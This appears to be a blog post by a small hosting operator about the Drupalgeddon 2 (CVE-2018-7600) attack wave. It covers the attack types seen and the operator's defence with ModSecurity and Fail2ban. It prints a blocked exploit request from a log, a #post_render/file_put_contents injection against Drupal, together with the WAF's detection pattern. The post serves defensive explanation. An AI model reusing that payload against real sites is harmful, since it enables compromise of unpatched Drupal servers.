Triaging the impact of the latest Drupal hack (Drupalgeddon 2)

Among the many, many, many, many things I do, I also run a small hosting setup for a few small-scale websites (including this one). And as a result, I've seen quite a bit of the latest fun with Drupalgeddon 2. 

What is Drupalgeddon 2?

In the last few weeks, some Drupal (here & here) vulnerability disclosures hit the web. The resulting affected pretty much all Drupal sites seeing attacks or attempted attacks within hours of the public releases of the disclosures and resulting Proof of Concept script to Github. Many site owners and developers scrambled (in some cases a losing battle) to patch sites in time to avoid potentially disastrous downtime and headaches. 

Some of those sites that were hacked were then used in amplification attacks to try and spread the hacks to more and more sites. There were a number of common profiles we've seen in the community and some new ones.

  • SSH Attacks
  • Email spam relays
  • Comment spam relays
  • Botnets
  • Cryptojacking

SSH Attacks - This was one that I saw in my logs trying to hit my server, as well as a Drupal site on my server having not been patched in time, becoming a relay briefly. The hacker compromises the website and drops a backdoor/payload. They then test to see if the user associated has a working shell. From there they attempt to open SSH connections to other servers to gain access forcefully. Checking a few logs that I had returned working Drupal sites when hitting those IPs.

Email/Comment spam relays are common and low hanging fruit. - Attacker compromises a site and drops a mailing relay script. These allow the attacker to send hundreds or thousands of spam/phishing/virus-laden emails to users. These are primarily damaging due to the IP reputation hits that can occur as a result. 

Botnets - These can be more dangerous as the sites may not manifest compromise right away. But can be used as a node or drone in a massive attack later on or be used to amplify the method used to compromise the site to infect others.  

Cryptojacking - Cryptojacking is a relatively new attack vector recently. This method involves installing a cryptocurrency miner (in this case the XMRig Monero miner) on an affected server and using it to mine cryptocurrency utilizing the hardware of the compromised site. This attack can be two fold where the attacker may use the server's resources to mine the currency, but may also install a Javascript based miner that visitors will activate on their browsers by visiting the compromised website. 

In some cases, different attacks on the same site go to war with each other. These wars will disable each other's payloads, "patch" infected sites so other attacks can't compromise it with their more payloads while allowing themselves in.

Interestingly enough some of the more significant attackers in the Drupalgeddon 2 event were perpetrated by IoT botnets. Netlab 360 posted on Twitter on April 17th:

Early warning, three tsunami botnet variants utilizing Drupal_RCE #CVE_2018_7600 is actively spreading since yesterday, we have logged 10+ C2s, will provide more update on our blog tomorrow.

My impact. 

In response, I hardened my hosting systems to help mitigate the most common attacks using ModSecurity. I've also subscribed to the Atomicorp ModSecurity rules which help greatly. On top of which I am also using Fail2ban to throttle repeat offending IP addresses.

As a result, the logs begin to show some very interesting things. 

IP table

The list of IP addresses with Lookups that have been part of sustained attacks against my tracked hosting - At least 5 attempts throttled, and then after 2 throttles of 600 seconds, a permanent IP ban.

One of the more interesting things here, is quite a few of these are web or web-enabled servers/instances. Stands to reason some of these are probably home to compromised Drupal sites. Some of these are home IoT devices, and some may be bad actors directly attempting to cause problems. 

I can also see in my ModSec logs specific examples of attacks:

--488a1243-A--
[03/May/2018:14:43:58 +0000] WusgLtLgKuRiHMpvBGXE8QAAAEc 141.101.77.66 57752  7080
--488a1243-B--
POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=file_put_contents&name%5B%23type%5D=markup&name%5B%23markup%5D=drupaler.txt HTTP/1.0
Host: <REDACTED>
X-Real-IP: 141.101.77.66
X-Forwarded-For: 93.244.63.212
X-Accel-Internal: /internal-nginx-static-location
Connection: close
Content-Length: 47
Accept-Encoding: gzip
CF-IPCountry: DE
CF-RAY: 415380f582da9c7d-AMS
X-Forwarded-Proto: http
CF-Visitor: {"scheme":"http"}
Content-Type: application/x-www-form-urlencoded
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1
CF-Connecting-IP: 93.244.63.212

--488a1243-C--
_triggering_element_name=name&form_id=user_pass
--488a1243-F--
HTTP/1.1 403 Forbidden
Last-Modified: Thu, 16 Oct 2014 13:20:58 GMT
ETag: "1321-5058a1e728280"
Accept-Ranges: bytes
Content-Length: 4897
Cache-Control: s-maxage=10
Connection: close
Content-Type: text/html

--488a1243-H--
Message:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/99_asl_jitp.conf"] [line "269"] [id "390755"] [msg "Atomicorp.com WAF Rules - Virtual Just In Time Patch: Drupal Code Injection attack blocked"] [data "/"] Access denied with code 403 (phase 2). Pattern match "(?:^\\#(?:submit|validate|p(?:re_render|ost_render|rocess)|element_validate|after_build|value_callback$)|\\[(?:\\'|\")?#(?:submit|validate|p(?:re_render|ost_render|rocess)|element_validate|after_build|value_callback))" at ARGS_NAMES:name[#post_render][].
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client %s] ModSecurity: %s%s [uri "%s"]%s
Action: Intercepted (phase 2)
Stopwatch: 1525358638801093 18004 (- - -)
Stopwatch2: 1525358638801093 18004; combined=12667, p1=221, p2=12383, p3=0, p4=0, p5=63, sr=0, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.1 (http://www.modsecurity.org/); 0.
Server: Apache
Engine-Mode: "ENABLED"

--488a1243-Z--

So, what's going on here? Well, The basis behind the attack is rooted in a vulnerability disclosed in CVE-2018-7600 where it's possible to inject whatever you wanted into a Drupal form and have Drupal execute it. it is as simple as simply visiting a URL and is not mitigated by a user being logged in or out. 

Drupal uses a concept called “Renderable Arrays”. This extended API is used to represent the structure of most of the UI elements in Drupal, such as pages, blocks, nodes, forms and more.

These attacks such as the one pictured above, work by attempting to compromise a form to inject data into an improperly sanitized form field and add stuff to the Renderable Array.

Scary stuff.